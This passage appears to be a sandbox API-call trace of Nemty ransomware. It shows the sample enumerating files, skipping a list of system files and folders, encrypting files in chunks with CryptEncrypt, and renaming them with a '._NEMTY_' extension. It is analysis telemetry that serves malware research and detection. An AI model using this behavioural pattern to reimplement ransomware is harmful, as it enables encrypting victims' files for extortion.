dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.149] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.158] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.158] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.168] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.168] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.188] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.188] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.197] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.216] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.222] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.222] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.228] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.228] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f942b0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0101.228] CloseHandle (hObject=0xffffffff) returned 0 [0101.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0101.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0101.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0101.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0101.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400c0 [0101.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0101.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400c0 | out: hHeap=0x4f90000) returned 1 [0101.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0101.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_1.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\templates\\genko_1.jtp._nemty_kgobjgd_")) returned 0 [0101.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0101.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0101.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0101.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0101.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0101.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0101.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0101.229] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc560941e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc560941e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47191587, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c8c, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Genko_2.jtp", cAlternateFileName="")) returned 1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2=".") returned 1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="..") returned 1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="...") returned 1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="windows") returned -1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="$RECYCLE.BIN") returned 1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="rsa") returned -1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="NTDETECT.COM") returned -1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="ntldr") returned -1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="MSDOS.SYS") returned -1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="IO.SYS") returned -1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="boot.ini") returned 1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="boot.ini") returned 1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="AUTOEXEC.BAT") returned 1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="ntuser.dat") returned -1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="desktop.ini") returned 1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="CONFIG.SYS") returned 1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="RECYCLER") returned -1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="BOOTSECT.BAK") returned 1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="bootmgr") returned 1 [0101.229] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="programdata") returned -1 [0101.230] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="appdata") returned 1 [0101.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_2.jtp", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0101.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_2.jtp", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Genko_2.jtp", lpUsedDefaultChar=0x0) returned 11 [0101.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0101.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_2.jtp", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0101.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_2.jtp", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Genko_2.jtp", lpUsedDefaultChar=0x0) returned 11 [0101.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0101.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_2.jtp", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0101.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_2.jtp", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Genko_2.jtp", lpUsedDefaultChar=0x0) returned 11 [0101.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_2.jtp", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0101.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_2.jtp", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Genko_2.jtp", lpUsedDefaultChar=0x0) returned 11 [0101.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0101.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0101.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0101.230] Sleep (dwMilliseconds=0x5) [0101.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xeffde070, dwHighDateTime=0x1d561e7)) [0101.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xeffde070, dwHighDateTime=0x1d561e7)) [0101.249] GetLastError () returned 0x5 [0101.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0101.249] GetLastError () returned 0x5 [0101.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0101.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0101.249] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0101.249] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0101.249] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0101.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f942b0 [0101.249] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f942b0, pcchString=0x653ef9c | out: pszString="da9miEYfbCIWXLudBcf8v3bj19YH3a1QSDKTqHVoYdUiPZnQ3AxtuX8fC+sDkGyw\r\nOTQqVwskSi8IlRvU7lbMp8tsShFARUx6Pqzyd7T1T5t+j2Ax4Tfo5UavHZAZabt0\r\nUURnFsw8RNyu7jG2okaghWSnJLEoawECTyzATfzx+WP/LKiMhO4eDhxrXfT9HOYR\r\nh1yUVVr4Cy2G9f+w3PHGUHlrPMQ2LdlREV72iPpsswMZHc4WMg+3BYvCBbblsfO2\r\ntqgUOuKQvchyAor150bRiUGcPvn4+nctJqF8WkP8B2PtqBRub0ccpkX5W+RCIDM5\r\nmMvmRm7cktYZOIe3sQwWuA==\r\n", pcchString=0x653ef9c) returned 1 [0101.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0101.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0101.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0101.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0101.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f942b0 [0101.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0101.250] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_2.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.250] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0101.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0101.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.250] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.259] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.272] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.272] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.281] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.282] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.291] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.291] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.319] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 